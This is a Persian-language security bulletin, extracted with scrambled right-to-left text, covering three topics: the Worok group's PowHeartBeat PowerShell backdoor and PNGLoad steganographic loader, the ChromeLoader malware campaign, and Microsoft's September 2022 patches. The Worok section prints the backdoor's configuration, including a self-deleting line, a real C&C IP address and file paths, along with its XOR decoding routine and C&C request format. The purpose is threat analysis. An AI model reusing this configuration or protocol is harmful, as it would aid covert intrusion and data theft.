 ل زیر نشان داده شده است.که در شک

 

 

 پیکربندی

است. جدول زیر معانی فیلدهای پیکربندی  C&Cاین پیکربندی شامل چندین فیلد از جمله شماره نسخه، پیکربندی اختیاری پروکسی و نشانی 

 دهد.های مختلف توضیح میرا در نسخه

 

 .داده شده استباشد، نشان مرا که دارای هش زیر می PowHeartBeatپیکربندی استخراج شده از یک نمونه  در ادامه

 

 SHA-1: 757ABA12D04FD1167528FDD107A441D11CD8C427 
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$Script:nouse = 100; 
if(Test-Path $MyInvocation.MyCommand.Path){Remove-item $MyInvocation.MyCommand.Path -Force;} 
$Script:ClientId = "83"; 
$Script:Version = "2.1.3.0003"; 
$Script:ExecTimes = 10; 
$Script:UserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome
/69.0.3487.100 Safari/537.36"; 
$Script:Referer = "www.adobe.com"; 
$Script:AcceptEncoding = "text/html,app1ication/xhtml+xml,app1ication/xml;q=0.9,*/*;q=0.8"; 
$Script:CookieClientId = "s_ecid"; 
$Script:CookieTaskId = "aam_uuid"; 
$Script:CookieTerminalId = "AAMC_adobe_0"; 
$Script:UrlHttps = "http://"; 
$Script:UrlDomain=  " 118.193.78[.]22:443"; 
$Script:UrlSendHeartBeat = "/latest/AdobeMessagingClient.js"; 
$Script:UrlSendResult = "/content/dam/offers-homepage/homepage.jpg"; 
$Script:GetUrl = $Script:UrlHttps + $Script:UrlDomain + $Script:UrlSendHeartBeat; 
$Script:PutUrl = $Script:UrlHttps + $Script:UrlDomain + $Script:UrlSendResult; 
$Script:currentPath = Split-Path -Parent $MyInvocation.MyCommand.Definition; 
$Script:ProxyEnableFlag = $false; 
$Script:Proxymsg; 
$Script:Interval = 10 ; 
$Script:BasicConfigPath = "C:\ProgramData\unins.dat"; 
$Script:UpTime = 0; 
$Script:DownTime = 24; 
$Script:Domains; 
$Script:DomainIndex; 
$Script:SecretKey = "###ConfigKey###"; 
  
#$Script:IfLog = $true; 
$Script:IfLogFilePath = "C:\ProgramData\tpncp.dat"; 
$Script:logpath = "C:\ProgramData\unins000.dat"; 
$Script:ProxyFile = "C:\ProgramData\hwrenalm.dat"; 
  
$Script:IfConfig = $false; 

 

 هارمزگذاری داده

PowHeartBeat کند.های مربوطه و محتوای فایل پیکربندی را رمزگذاری میلاگ 

بایتی  ۲۵۶شود. کلید مذکور یک آرایه چند بایتی و با کلیدی که در متن شفاف مشخص شده، رمزگذاری می XORمحتوای فایل لاگ از طریق 

چند بایتی و کلید آن که دارای مقدار  XORباشد. محتوای فایل پیکربندی از طریق های مشاهده شده، یکسان میاست که در تمام نمونه

SecretKey شود.است، رمزگذاری می 
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 C&C ارتباطات

PowHeartBeat  برای ارتباطات  ۲٫۴تا نسخهC&C  ازHTTP کند و سپس به استفاده میICMP یابد. در هر دو مورد، ارتباط رمزگذاری تغییر می

 نشده است.

HTTP 

کند. پاسخ رمزگذاری ، صدور فرمانی را تقاضا میC&Cبه سرور  GETضمن ارسال یک درخواست » دسترسی غیرمجاز«در یک حلقه نامتناهی، 

شود و ضمن پردازش فرمان و نوشتن خروجی فرمان در یک فایل، محتوای آن از طریق یک رمزگشایی می» دسترسی غیرمجاز«شده توسط 

 باشد:به صورت زیر می GETهای شود. فرمت درخواستارسال می C&Cبه سرور  POSTدرخواست 

GET <UrlSendHeartBeat> HTTP/1.1 
User-Agent: <UserAgent> 
Referer: <Referer> 
Host: <Domain> 
Cookie: <CookieClientId>=<ClientId> 
Connection: close 
 

 ها با استفاده از فیلدهای پیکربندی همنام ساخته شده است.توجه داشته باشید که درخواست

دسترسی «نامیده شده و دستور پردازش شده توسط  command_id، سومین بایت محتوا، شناسه فرمان است که C&Cدر پاسخ سرور 

شود. این محتوا با الگوریتم مانده از پاسخ به عنوان یک آرگومان به دستور پردازش شده ارسال میدهد. محتوای باقیرا نشان می» غیرمجاز

 در پیکربندی نامگذاری شده است. CookieTaskIdمقدار کوکی است که پس از مقدار  taskIdه، نشان داده شده در شکل زیر رمزگذاری شد

 

o[int] $pos = $taskId % 256; 
for ($i = 0; $i -lt $tmpBytes.Value.Length; $i++) 
{ 
   $pos = $pos + $clientId; 
   if ($pos -ge 256) 
   { 
  $pos = $pos % 256; 
   } 
   $tmpBytes.Value[$i] = [byte]($tmpBytes.Value[$i] -bxor $hexEnc[$pos]); 
} 
 

 CookieTerminalIdبه نام » دسترسی غیرمجاز«حاوی کوکی دیگری است که نام آن توسط متغیر پیکربندی  C&Cهمچنین پاسخ سرور 

شود و نباید خالی باشد. پس از اجرای دستور تکرار می» دسترسی غیرمجاز«مربوط به  POSTمشخص شده است. مقدار این کوکی در درخواست 

PowHeartBeat  نتیجه را به عنوان یک درخواستPOST  به سرورC&C کند. نتیجه به صورت فایلی با نام ارسال می<command_id>.png 

 شود.ارسال می

ICMP 

بندی شده ای و غیرقطعههای ارسالی دارای بازه زمانی شش ثانیهجایگزین شده و بسته ICMPبا  HTTP، ۲٫۴، از نسخه PowHeartBeatدر 

به بعد  ۲٫۴های ای در نسخهای برای دور زدن راهکارهای امنیتی است و هیچ تغییر عمده، گزینهICMPباشند. به احتمال زیاد ارتباط از طریق می

 کد ایجاد شده است.وجود ندارد اما به نقل از محققان، تغییراتی در 
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• PowHeartBeat ای را که حاوی رشته بستهabcdefghijklmnopqrstuvwxyz  است، در هر حلقه قبل از صدور فرمان ارسال

 باشد.آماده دریافت فرامین می» دسترسی غیرمجاز«دهد که اطلاع می C&Cکند. این به سرور می

شود. باشد، ارسال میمی abcdefghijklmnopکه شامل رشته » مجازدسترسی غیر«هایی برای دریافت فرامین توسط درخواست •

 ها دارای فرمتی همانند شکل زیر هستند.این بسته

 

مربوط به کلاینت در هر  Flagکلاینت این است که شناسه کلاینت در هر نمونه متفاوت است در حالی که  Flagتفاوت بین شناسه کلاینت و 

است. پاسخ سرور  heartbeatدر حال ارسال » دسترسی غیرمجاز«دهد که نشان می hearbeat Flag، یکسان است. ICMPهای یک از نمونه

C&C باشد.دارای فرمتی همانند شکل زیر می 

 

flag دارای فرمتی  ها برای دریافت فرامینوجود دارد یا خیر. درخواست» دسترسی غیرمجاز«دهد که آیا فرمانی برای صدور به در اینجا نشان می

 باشند.همانند شکل زیر می

 

 

دهد و از هایی تقسیم شده، میها را  که به بخشامکان دریافت مقدار نامحدودی از داده» دسترسی غیرمجاز«در  ICMPتوجه داشته باشید که 

ها دارای فرمتی همانند ها به این درخواستکند. پاسخهای ارسالی استفاده میطول داده متغیر، موقعیت فعلی و طول کل برای پیگیری داده

 باشند.شکل زیر می

 

 

 باشد.) میCommand Identifier، سومین بایت داده، شناسه فرمان (HTTPهای پاسخهمانند 

تمام شده در نظر گرفته  C&Cو سرور » دسترسی غیرمجاز«با محتوای خالی یا با فرمت متناقض، انتقال بین  ICMPپس از هفت پاسخ متوالی 

 شود.می

تبدیل شده و رشته نهایی  Post، وضعیت سرور به وضعیت C&Cشده به سرور  ها جهت ارسال نتیجه فرمان صادربا درنظر گرفتن درخواست

abcdefghijklmnop کند.های نتیجه تغییر میبرای داده 
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 »دسترسی غیرمجاز«فرامین 

PowHeartBeat های مختلفی از جمله اجرای فرمان/پروسه و دستکاری فایل است. جدول زیر تمام فرامین پشتیبانی شده توسط دارای قابلیت

 کند.های مختلف و تحلیل شده آن را فهرست مینمونه

 

 

 

کند استفاده می C&Cبه سرور  POSTدر فرمان   0x00از شناسه فرمان» دسترسی غیرمجاز«، این »دسترسی غیرمجاز«در صورت بروز خطا در 

 باشد.که نشان دهنده وجود خطا می

 شوند.فشرده می Gzipها با ، دادهC&Cتوجه داشته باشید که قبل از ارسال مجدد اطلاعات به سرور 

 

PNGLoadکننده ؛ بارگذاریSteganographic 

شود. با این که بارگذاری می PowHeartBeatیا  CLRLoadهای هک شده، مستقر شده و توسط بر روی سیستم PNGLoadدر مرحله دوم 

قابلیت » دسترسی غیرمجاز«کند، شناسایی و مشاهده نشد، را بارگذاری می PNGLoadکه مستقیماً  PowHeartBeatدر ظاهر هیچ کدی در 

 PowHeartBeatهایی که با را در سیستم PNGLoadدارد که احتمالاً مهاجمان اینگونه  C&Cدانلود و اجرای کدهای مخرب دیگری را از سرور 

کند. این یک برای ایجاد و اجرای کد مخرب استفاده می PNGهای ای است که از فایلکنندهبارگذاری PNGLoadاند. اند، مستقر کردهآلوده شده

 زاری معتبر شناخته شده است. افسازی شده و به عنوان نرممبهم NET Recorder.است که با  NET.بیتی و از نوع  ۶۴فایل اجرایی 
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وجود  MainPathبه نام  Attributeپس از رفع ابهام، فقط یک کلاس وجود دارد. همانطور که در شکل زیر نشان داده شده، در این کلاس، یک 

مورد استفاده قرار  png.هایی با پسوند جهت جستجوی فایل» دسترسی غیرمجاز«های آن است که در دارد که شامل مسیر فهرست و زیر شاخه

 گیرد.می

 

 

 

مورد  Steganographyمورد جستجوی قرار گرفته، به منظور کشف رمزنگاری موسوم به  MainPathکه توسط  png.سپس محتوای هر فایل 

) واکشی شده و در یک بافر جمع Aloha( A) و R )Red ،(G )Green ،(B )Blueترین بیت از هر پیکسل اهمیتگیرد. ابتدا، کمبررسی قرار می

شود مطابقت داشته باشد و مقدار هشت بایت بعدی و بیت شود. اگر هشت بایت اول آن بافر با عدد جادویی که در شکل زیر مشاهده میمی

Control  غیر تهی باشد، فایلPNGLoad  از بررسی محتوای رمزنگاریSteganography پردازش باقیمانده هاییکند. برای چنین فایلعبور می ،

یابد. در ادامه شده، ادامه میذخیره SecretKeyBytes PNGLoadچند بایتی رمزگشایی شده و با بکارگیری کلیدی که در  XORبافر که با یک 

 شود.باشد که بلافاصله اجرا می PowerShellرود نتیجه، یک اسکریپت شود. انتظار میخارج می Gzipبافر رمزگشایی شده از حالت 

 

 

 

شود. عملیات ذخیره می LogFilePathشود که مسیر آن در متغیر در فایلی ثبت می PNGLoadجالب اینجاست که عملیات انجام شده توسط 

 مشخص شده باشد. IfLogFilePathشود که فایلی وجود داشته باشد و مسیر آن توسط متغیر داخلی تنها زمانی ثبت می
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 PNGLoadشود، به دست آورند، اما نحوه عملکرد استفاده می PNGLoadرا که همراه با  png.ستند یک نمونه فایل محققان در این تحقیق نتوان

کند استفاده می #Cدر  Bitmap Objectاز  Worokکند. به منظور پنهان کردن کد مخرب، معتبر کار می PNGهای دهد که تنها با فایلنشان می

 Worokگیرند. این بدان معناست که هکرهای ها می) مربوط به فایل نیازی ندارند و فقط اطلاعات پیکسل را از فایلMetadataو به فراداده (

 ضرر مخفی کنند و در نتیجه از دید پنهان شوند.معتبر و به ظاهر بی PNGتوانند کدهای مخرب خود را در تصاویر می

 بندیجمع

Worok سازی شده خود، از ابزارهای موجود و معتبر نیز برای آلوده نمودن یک گروه جاسوسی سایبری است که ضمن توسعه ابزارهای شخصی

های های مختلفی اعم از بخشباشند چون سازمانرسد این گروه به دنبال سرقت اطلاعات از قربانیان میکنند. به نظر میاهداف خود استفاده می

های فعالیت و مجموعه ابزارهای بکارگرفته شده های مهمی در آسیا و آفریقا را مورد هدف قرار دادند. زمانهای دولتی و سازمانخصوصی، نهاد

کننده یکی به است. مجموعه ابزار سفارشی آنها شامل دو بارگذاری TA428دهنده ارتباط احتمالی آنها با گروه هکری نشان Worokتوسط 

است. با این حال هنوز اطلاعات بیشتری درخصوص  PowerShellاز نوع » دسترسی غیرمجاز«و یک  C# .NETه زبان و دیگری ب  ++Cزبان

 این گروه هکری منتشر نشده است.

قابل دریافت و مشاهده  های آن در لینک زیر) و نمونهIoC اختصار به – Indicators of Compromiseهای آلودگی (فهرست جامعی از شاخص
 است.

 
https://github.com/eset/malware-ioc/tree/master/worok 

 

 باشد:سِت در نشانی زیر قابل مطالعه میمشروح گزارش ای

 

https://www.welivesecurity.com/2022/09/06/worok-big-picture/ 

  

https://github.com/eset/malware-ioc/tree/master/worok
https://www.welivesecurity.com/2022/09/06/worok-big-picture/
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 ورامیو و کروسافتیهشدار ما

 Chromeloader یدر خصوص کارزار بدافزار 

 

 

 

ای در حال انجام که به طور گسترده Chromeloader) درخصوص کارزار بدافزاری VMwareور (ام) و ویMicrosoftهای مایکروسافت (شرکت

افزار و حتی در برخی موارد باج Node-WebKitهای مخرب مرورگر، بدافزار اند. مهاجمان در این کارزار اقدام به بکارگیری افزونهاست، هشدار داده

 کنند.می

ریاست جمهوری تهیه گردیده، کارزار بدافزاری مذکور در این گزارش که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای 

 .مورد بررسی قرار گرفته است

، در خصوص خطرات بدافزارهای ۲۰۲۲در سه ماهه اول سال  Chromeloaderمحققان ضمن اظهار افزایش آلودگی از طریق کارزار بدافزاری 

 اند.گیرند، هشدار دادهی مورد استفاده قرار میکه جهت بازاریابی و کلاهبرداری تبلیغات Browser Hijackerموسوم به 

های ها را به سایترا از طریق یک افزونه مخرب آلوده نموده و با فریب کاربران آن Chrome، مرورگر Chromeloaderمهاجمان در کارزار بدافزاری 

 کنند تا بدین صورت برای خود درآمد کسب کنند.تبلیغاتی کاذب هدایت می

به یک سارق اطلاعات تبدیل  Chromeloaderاعلام نمودند که  گزارش خود) نیز در Palo Alto Networks(ی پالو آلتو نتورکس محققان امنیت

 شده در مرورگرها را سرقت کند. های ذخیرهکند تا ضمن تبلیغات دروغین، دادهشده و تلاش می

 هشدار دادنسبت داده شده،  DEV-0796شهریور ماه در خصوص کارزار کلاهبرداری گسترده که به گروهی به نام  ۲۵شرکت مایکروسافت نیز در 

 شود.های مختلفی از بدافزار استفاده میجهت آلوده کردن قربانیان به گونه Chromeloaderکه در آن از کارزار 

https://unit42.paloaltonetworks.com/chromeloader-malware/
https://unit42.paloaltonetworks.com/chromeloader-malware/
https://twitter.com/MsftSecIntel/status/1570911644649152512
https://twitter.com/MsftSecIntel/status/1570911644649152512
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ماه اخیر توسط مهاجمان بکار گرفته که در دو را  Chromeloaderور نیز با انتشار یک گزارش فنی به نشانی زیر، انواع مختلف اممحققان وی

 کنند.تری نیز استفاده میاند برخی از آنها از کدهای بسیار مخربشده، تشریح نموده و اعلام نموده

 

https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html 

 

های مرتبط با ، در قالب تبلیغات مخرب و همچنین تغییر مسیر مرورگر و یا حتی دیدگاهISOهای بدافزارهای مخرب در این کارزار از طریق فایل

 شوند.توزیع می YouTubeهای ویدیویی فیلم

به روشی محبوبی  ISOهای زمان فایلآن از  ،نمایدمسدود میرا  Officeفرض ماکروهای مایکروسافت اعلام نمود که به طور پیشچندی پیش 

 برای توزیع بدافزار تبدیل شده است. 

ها به طور خودکار به عنوان یک ، این فایلWindowsهای جدیدتر نسخهو  Windows 10در  ISOعلاوه بر این، با دوبار کلیک بر روی فایل 

CDROM .تحت یک درایو جدید نصب شده و تبدیل به روشی کارآمد جهت توزیع همزمان چندین فایل بدافزاری شده است 

 

 

 

 Batch، یک فایل ICONحاوی بدافزار، یک فایل  ZIPمعمولاً شامل چهار فایل، یک فایل فشرده  ChromeLoaderدر کارزار  ISOهای فایل

 باشند.کند، میاندازی میرا راه Batchکه فایل  Windowsشود) و یک میانبر نامیده می Resources.batنصب کننده بدافزار (که معمولاً 

ترین آنها پس برداری کرده که جالبرا نمونه Chromeloaderور در بخشی از تحقیقات خود، از ابتدای سال میلادی جاری حداقل ده نوع اموی

 از آگوست مشاهده شده است.

 

https://blogs.vmware.com/security/2022/09/the-evolution-of-the-chromeloader-malware.html
https://learn.microsoft.com/en-gb/DeployOffice/security/internet-macros-blocked
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های تلویزیونی را پیدا کنند، الگوبرداری ها و برنامهکند زیرنویس فیلمکه به کاربران کمک می OpenSubtitlesای به نام اولین نمونه، از برنامه

که برای نصب بدافزار و ماندگاری در  properties.batاز فایلی به نام   Resources.batکند. در این کارزار، مهاجمان به جای فایل معمولمی

 کنند.کند، استفاده میمی Registryسیستم، اقدام به افرودن کلید در 

) Electron runtime( افزاری الکترونورک نرمفریمتقلید نموده و از  FLBکننده موسیقی است که از پخش  Flbmusic.exeمورد قابل توجه دیگر

ها برای ارتباطات شبکه و جاسوسی از درگاه های اضافی راکند تا ماژولاین امکان را برای بدافزار فراهم می Flbmusic.exeبهره گرفته است. 

 اندازی کند.راه

گسترده مواجه   Unpacking، سیستم را با عملیات ZipBombتر بودند و با استخراج ، حملات کمی مخربChromeloaderبرای برخی از انواع 

 کردند.می

در نفوذ اولیه با دو  ZipBombها استفاده شده است. برای آلوده نمودن سیستم ZipBombور، تا اواخر آگوست، از امبنا بر گزارش شرکت وی

شود. پس از اجرا، بدافزار سیستم کاربر را با بارگذاری بیش از حد بار کلیک کاربر هنگام دانلود فایل پیوست توسط قربانی، بارگذاری و اجرا می

 اندازد.ها از کار میداده

 Enigmaکنند. می HTMLدر قالب یک فایل  Enigmaافزار باج است که اقدام به انتشار Chromeloaderکارزارهای  تر از آن، آن دسته ازمخرب

کند تا و یک فایل اجرایی تعبیه شده در آن استفاده می JavaScript) مبتنی بر Installerکننده (افزار قدیمی است که از یک نصبنوعی باج

 اندازی شود.فرض راهشبتواند مستقیماً در مرورگر پی

حاوی دستورالعمل و پیامی برای  که readme.txtافزار، فایل شود. این باجها اضافه میبه نام فایل .»enigma«پس از تکمیل رمزگذاری، پسوند 

 کند.قربانیان است را بارگذاری می

Chromeloader های اتی شروع به کار کرده و با بکارگیری کدهای مخرب قویتر، قابلیتای بارز از کارزارهایی است که به عنوان یک ابزار تبلیغنمونه

 اند.کاذب فراهم نموده پرسودی برای تبلیغات

 

 منبع:

 

https://www.bleepingcomputer.com/news/security/vmware-microsoft-warn-of-widespread-chromeloader-

malware-attacks/ 

 

   

https://fa.wikipedia.org/wiki/%D8%A7%D9%84%DA%A9%D8%AA%D8%B1%D9%88%D9%86_(%DA%86%D8%A7%D8%B1%DA%86%D9%88%D8%A8_%D9%86%D8%B1%D9%85%E2%80%8C%D8%A7%D9%81%D8%B2%D8%A7%D8%B1%DB%8C)
https://en.wikipedia.org/wiki/Electron_(software_framework)
https://www.bleepingcomputer.com/news/security/vmware-microsoft-warn-of-widespread-chromeloader-malware-attacks/
https://www.bleepingcomputer.com/news/security/vmware-microsoft-warn-of-widespread-chromeloader-malware-attacks/
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 یهاهیو اصلاح هایبروزرسان

 ١٤٠١ شهریور

 

 

 

 محصولات خود کردند.نامه امنیتی برای برخی اقدام به عرضه بروزرسانی و توصیههای زیر شرکت ۱۴۰۱در شهریور 

 

 گوگل دیفندربیت مایکروسافت
 ادوبی وراموی سیسکو
 اپل مـوزیـلا سوفوس

 

ترین در این گزارش که با همکاری شرکت مهندسی شبکه گستر و مرکز مدیریت راهبردی افتای ریاست جمهوری تهیه شده به برخی از بااهمیت

 های شهریور ماه پرداخته شده است.اصلاحیه

 

 مایکـروسافت
بیش های مذکور های امنیتی ماهانه خود را برای ماه میلادی سپتامبر منتشر کرد. اصلاحیهاصلاحیه، مجموعه (Microsoft) شرکت مایکروسافت

های ترمیم شده این پذیریدرجه اهمیت پنج مورد از آسیبکنند. و محصولات مختلف این شرکت ترمیم می Windows پذیری را درآسیب ۶۰از 

 اعلام شده است.) Important» (مهم«) و اکثر موارد دیگر Critical» (حیاتی«ماه 

 کنند:ها را در محصولات مایکروسافت ترمیم میپذیریها، انواع مختلفی از آسیباین مجموعه اصلاحیه

 

 ) PrivilegeElevation of( »ترفیع اختیارات« •

 )Remote Code Execution» (اجرای کد از راه دور« •

 )Information Disclosure» (افشای اطلاعات« •

 )DoSبه اختصار  - Denial of Service» (از کاراندازی سرویس« •

 )Security Feature Bypass» (عبور از سد امکانات امنیتی« •

https://www.microsoft.com/en-us/
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که یک  باشندمی» صفر-روز«، از نوع )CVE-2022-23960و  CVE-2022-37969 های(شناسه های ترمیم شده این ماهپذیریدو مورد از آسیب

داند که صفر می-هایی را از نوع روزپذیریاستفاده قرار گرفته است. مایکروسافت آن دسته از آسیبمورد آن به طور گسترده در حملات مورد سوء

مان قرار طور عمومی منتشر شده یا در مواقعی مورد سوءاستفاده مهاجها بهها ارائه نشده، جزييات آنتر اصلاحیه رسمی برای ترمیم آنپیش

 گرفته است.

 

است و به نقل از مایکروسافت تنها ضعف » اجرای کد از راه دور«بوده و از نوع » مهم«دارای درجه اهمیت  CVE-2022-37969 پذیریآسیب

 این ماه به طور گسترده در حملات مورد سوءاستفاده قرار گرفته است. این ضعف امنیتی بر روی روزرسانیامنیتی است که در به

 System Driver Windows Common Log File -  به اختصارCLFS - گذارد. مهاجمان با سوءاستفاده از این ضعف امنیتی قادر تاثیر می

ن ضعف امنیتی، مهاجم ابتدا باید به سیستم مورد نظر یجویی از اند. جهت بهرهه دست آورب SYSTEMخواهند بود که اختیاراتی را در سطح 

 دسترسی داشته باشد و سپس کد خاصی را اجرا کند، اگرچه نیازی به تعامل کاربر نیست.

 

» افشای اطلاعات«و از نوع » مهم«با درجه اهمیت  CVE-2022-23960پذیری روز صفر ترمیم شده در این ماه، ضعف امنیتی دیگر آسیب

بکار گرفته شده، تاثیر  Armو  Intel ،AMDهای مطرحی نظیر که توسط شرکت CPUمربوط به  Cache Speculationباشد که بر قابلیت می

کنند استفاده می CPUسازی و افزایش عملکرد شود جهت بهینهها از قابلیت مذکور که در آن برخی وظایف از قبل اجرا میگذارد. این شرکتمی

 تا اطلاعات در هنگام نیاز در دسترس باشد. 

 

برای این ضعف امنیتی منتشر کرده بودند، مایکروسافت نیز برای آن دسته هایی نامههای زیر، توصیههای مذکور در نشانیبا وجود اینکه شرکت

 روزرسانی کرده است.شوند، اقدام به عرضه بهپذیری متاثر میهای عاملش که از این آسیباز سیستم

   

https://developer.arm.com/Arm%20Security%20Center/Speculative%20Processor%20Vulnerability 

https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1026 

https://www.amd.com/system/files/documents/software-techniques-for-managing-speculation.pdf 

https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00598.html 

 

 ، CVE ،34700-2022-CVE-2022-35805های با شناسه» حیاتی«های ترمیم شده این ماه دارای درجه اهمیت پذیریپنج مورد از آسیب

34722-2022-CVE ،34721-2022-CVE  2022-34718و-CVE های امنیتی در ادامه به بررسی جزئیات برخی از این ضعف باشند کهمی

 پردازیم.می

 Windowsوده و ب» اجرای کد از راه دور«از نوع  CVE-2022-34721و  CVE-2022-34722های های امنیتی با شناسهضعف •

Internet Key Exchange -  به اختصارIKE - بر طبق استاندارد  ۱۰از  ۹٫۸پذیرد. هر دو دارای شدت از آنها تاثیر می)CVSS (

عامل ) دستکاری شده را به سیستمی که دارای سیستمIP )IP Packetای دادهتواند یک بستهباشند. مهاجم احراز هویت نشده میمی

Windows  وIPSec 1پذیری فقط نسخه فعال است ارسال نموده و کدی را از راه دور اجرا کند. البته این آسیبIKEv  را تحت تاثیر

باشند زیرا متاثر از این ضعف امنیتی می Windowsشود. با این حال، تمامی سرورهای از آن متاثر نمی 2IKEvدهد و قرار می

 پذیرند.را می 2Vو  1Vهای بسته

 
گذارد. تاثیر می Windows TCP/IPباشد و بر روی می» اجرای کد از راه دور«از نوع  CVE-2022-34718پذیری با شناسه آسیب •

) دستکاری IPv6 )IPv6 Packetای تواند توسط یک مهاجم احراز هویت شده به منظور ارسال یک بسته دادهپذیری میاین آسیب

 ۱۱و  ۱۰، ۸٫۱، ۷پذیری بر نسخ آن فعال است، مورد سوءاستفاده قرار گیرد. این آسیب IPSecکه  Windowsشده به سیستم تحت 

گذارد. به نقل از مایکروسافت احتمال تأثیر می ۲۰۲۲و  ۲۰۱۹، ۲۰۱۶، ۲۰۱۲، ۲۰۰۸نسخ  Windows Serverو  Windowsعامل سیستم

 نسبت به نسخ قدیمی بیشتر است. Windows Serverو  Windowsجویی از این ضعف امنیتی در آخرین نسخ بهره

 

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37969
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23960
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37969
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-23960
https://developer.arm.com/Arm%20Security%20Center/Speculative%20Processor%20Vulnerability
https://www.amd.com/en/corporate/product-security/bulletin/amd-sb-1026
https://www.amd.com/system/files/documents/software-techniques-for-managing-speculation.pdf
https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00598.html
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-35805
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34700
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34722
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34721
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34718
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34722
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34721
https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2022-34718
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مواردی که ممکن است بیشتر مورد توجه مهاجمان قرار های اصلاح شده این ماه و به ویژه به پذیریدر ادامه به بررسی جزئیات دیگر آسیب

 .پردازیمگیرند، می

 

» اجرای کد از راه دور«گذارند که همگی از نوع تاثیر می Officeبر محصولات  پذیریسه آسیب ٢٠٢٢های ترمیم شده در سپتامبر در میان ضعف

 های) و دو مورد دیگر (شناسهCVE-2022-37962(شناسه  Microsoft PowerPointافزار های امنیتی بر نرمیکی از این ضعف باشند.می

CVE-2022-37963  وCVE-2022-38010 بر (Visio باشند. می» مهم«های امنیتی دارای درجه اهمیت گذارند. هر سه این ضعفتاثیر می

های بانی را آلوده کند. بنابراین برای سوءاستفاده از این ضعفتواند با ارسال یک فایل دستکاری شده، دستگاه قریک مهاجم محلی از راه دور می

 برخی تعاملات کاربر نیاز است. بهامنیتی 

 

 و CVE-2022-37956 هایپذیری با شناسهمایکروسافت شامل اصلاحاتی برای دو آسیب ۲۰۲۲علاوه بر این، بروزرسانی ماه سپتامبر 

37957-2022-CVE نسخ مختلف باشند ومی» ترفیع اختیارات«که همگی از نوع  است Windows  وWindows Server تاثیر  از آنها

شود که مهاجم به ها منجر میپذیریجویی موفق از این آسیبهای امنیتی دارای پیچیدگی کمی بوده و بهرههر دوی این ضعف .پذیرندمی

 اعلام نموده است. » زیاد«را  CVE-2022-37957یابد. از طرفی شرکت مایکروسافت احتمال سوءاستفاده از دست  SYSTEMامتیازات سطح 

 

 و CVE، 34729-2022-CVE ،35803-2022-CVE-2022-34725های های امنیتی به شناسهجویی از ضعفاین شرکت احتمال بهره

CVE-2022-37954  باشند می» ترفیع اختیارات«و از نوع » مهم«ها دارای درجه اهمیت پذیریاعلام کرده است. تمامی این آسیب» زیاد«را نیز

  شرایط رقابتی مهاجم تنها با برنده شدن دراز طرفی پذیرند. از آنها تاثیر می  ServerWindowsو  Windowsنسخ مختلف و 

)Race Condition (2022-34725 پذیری با شناسهقادر به سوءاستفاده از آسیب-CVE  کهALPCWindows  باشد.پذیرد، میتاثیر می 

 

وجود اینکه با درجه گذارد با تاثیر می Windows DNS Serverکه بر نسخ مختلف  CVE-2022-34724پذیری به شناسه در نهایت آسیب

جویی از آن مورد توجه قرار گیرد. یک مهاجم احراز هویت نشده است، بهتر است به دلیل تأثیر بالقوه احتمالی بهره بندی شدهرتبه» مهم«اهمیت 

یا این حمله فقط سرویس شود. البته مشخص نیست که آ DNSدر سرور » از کار اندازی سرویس«تواند با سوءاستفاده از آن، موجب از راه دور می

DNS اندازد. حتی صرفاً از کاراندازی کند یا کل سیستم را از کار میرا از دسترس خارج میDNS ها منجر به فاجعه نیز برای بسیاری از سازمان

 شود.می

  :ر قابل مطالعه استمایکروسافت در گزارش زی ۲۰۲۲های سپتامبر اصلاحیههای ترمیم شده توسط مجموعهپذیریفهرست کامل آسیب

 

https://newsroom.shabakeh.net/25390/ 

 پذیری با شناسهروزرسانی اضطراری و خارج از برنامه، آسیبشرکت مایکروسافت با انتشار به ١٤٠١شهریور  ٢٩همچنین در 
CVE-2022-37972  ٢٢٠٧تا  ٢١٠٣را در نسخ ،Microsoft Endpoint Configuration Manager  ترمیم کرد. لازم به ذکر است که جزييات

پذیری و اصلاحیه مربوطه در لینک زیر قابل دسترس ت کامل در خصوص این آسیباین ضعف امنیتی به صورت عمومی افشاء شده است. اطلاعا
 .باشدمی

https://learn.microsoft.com/en-us/mem/configmgr/hotfix/2207/15498768 

 

 سـیسـکو
های امنیتی برای برخی از محصولات خود کرد. رسانی) در شهریور ماه در چندین نوبت اقدام به عرضه بروزCisco Systems( شرکت سیسکو

) و High» (بالا«ز آنها از نوع مورد ا کنند. درجه اهمیت هفتپذیری را در محصولات مختلف این شرکت ترمیم میآسیب ١٥ها، رسانیاین بروز

و » اجرای کد از راه دور«، »از کاراندازی سرویس«هایی همچون پذیریآسیبگزارش شده است.  )Medium» (متوسط«هشت مورد از نوع 

های روزرسانیاز جمله مهمترین اشکالات مرتفع شده توسط ب» افشای اطلاعات«) و Command Injection» (تزریق فرمان«، »ترفیع اختیارات«

https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37962
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37963
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-38010
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37956
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37957
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34725
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-34729
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-35803
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-37954
